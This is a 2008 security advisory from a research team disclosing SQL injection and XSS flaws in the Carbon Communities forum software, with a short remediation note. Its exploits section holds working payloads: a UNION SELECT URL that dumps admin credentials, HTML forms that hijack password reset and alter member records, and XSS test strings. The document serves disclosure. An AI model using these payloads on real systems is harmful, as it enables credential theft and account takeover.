Carbon Communities forum Multiple Vulnerabilities. Apr 16 2008 01:49PM
admin bugreport ir
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# AmnPardaz Security Research Team

#

# Title: Multiple Vulnerabilities in Carbon Communities forum.

# Vendor: www.carboncommunities.com

# Vulnerable Version: 2.4 and prior versions

# Exploit: Available

# Impact: High

# Fix: N/A

# Original Advisory: http://bugreport.ir/index.php?/35

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1. Description:

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Carbon Communities is a high powered, fully scalable, and highly customizable online portal, message boards/ bulletin board, discussion hub, Private messaging, Event Calendars, Emails and chat software rolled into one.

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2. Vulnerability:

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2.1. There is a SQL Injection in "events.asp?id=[Injection]". By using it, attacker can gain usernames and passwords.

2.1.1. POC:

Check exploits section.

2.2. There is a SQL Injection in "getpassword.asp". By using it, attacker can send any password to his/her email address.(exploit available)

2.2.1. POC:

Check exploits section.

2.3. There is a SQL Injection in "option_Update.asp". By using it, attacker can update member info.(exploit available)

2.3.1. POC:

Check exploits section.

2.4. There are some XSS in "login.asp" and "member_send.asp".

2.4.1. POC:

/login.asp?Redirect='><script>alert('XSS')</script><fake a='

/member_send.asp?OrderBy='><script>alert('XSS')</script><fake a='

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3. Exploits:

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Original Exploit URL: http://bugreport.ir/index.php?/35/exploit

3.1. Attacker can gain usernames and passwords:

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http://[CarbonCommunitiesURL]/events.asp?ID=-1 union all select 1,1,1,'Username= '%2bmember_name%2b'<br>Password= '%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'

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3.2. Attacker can send any password to his/her email address:

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<script language="javascript">

function check(){

document.getElementById("UserName").value = "1' or uCase(Member_Name)='"+ document.getElementById("UserName").value

}

</script>

<form action="http://[CarbonCommunitiesURL]/getpassword.asp" method="post" onsubmit="check()">

UserName: <input type="text" name="UserName" id="UserName" value="default" size="100" />

<br />

EMail: <input type="text" name="EMail" value="Your Email Address" size="100" />

<br />

<input type="submit" />

</form>

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3.3. Attacker can update member info.:

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<form action="http://[CarbonCommunitiesURL]/option_Update.asp?Action=edit" method="post">

ID<input type="text" name="ID" value="1"/>

<br />

Member_Cookies<input type="text" name="Member_Cookies" value="Yes" />

<br />

Member_SystemCookies<input type="text" name="Member_SystemCookies" value="Yes" />

<br />

Member_Center<input type="text" name="Member_Center" value="1" />

<br />

Member_EmailTheadResponse<input type="text" name="Member_EmailTheadResponse" value="1" />

<br />

Member_EmailPostResponse<input type="text" name="Member_EmailPostResponse" value="1" />

<br />

Member_WeekStart<input type="text" name="Member_WeekStart" value="0" />

<br />

Member_ThreadDays<input type="text" name="Member_ThreadDays" value="0" />

<br />

Member_ThreadView<input type="text" name="Member_ThreadView" value="0" />

<br />

Member_Invisible<input type="text" name="Member_Invisible" value="1" />

<br />

Member_HiddenEmail<input type="text" name="Member_HiddenEmail" value="0" />

<br />

Member_ReceivePM<input type="text" name="Member_ReceivePM" value="1" />

<br />

Member_PMEmailNotice<input type="text" name="Member_PMEmailNotice" value="1" />

<br />

Member_PMPopup<input type="text" name="Member_PMPopup" value="1" />

<br />

Member_Newsletter<input type="text" name="Member_Newsletter" value="0" />

<br />

Member_TimeZone<input type="text" name="Member_TimeZone" value="0" />

<br />

Member_DefaultColor<input type="text" name="Member_DefaultColor" value="1" />

<br />

<input type="submit" />

</form>

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4. Solution:

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Edit the source code to ensure that inputs are properly sanitised.

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- Credit :

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AmnPardaz Security Research & Penetration Testing Group

Contact: admin[4t}bugreport{d0t]ir

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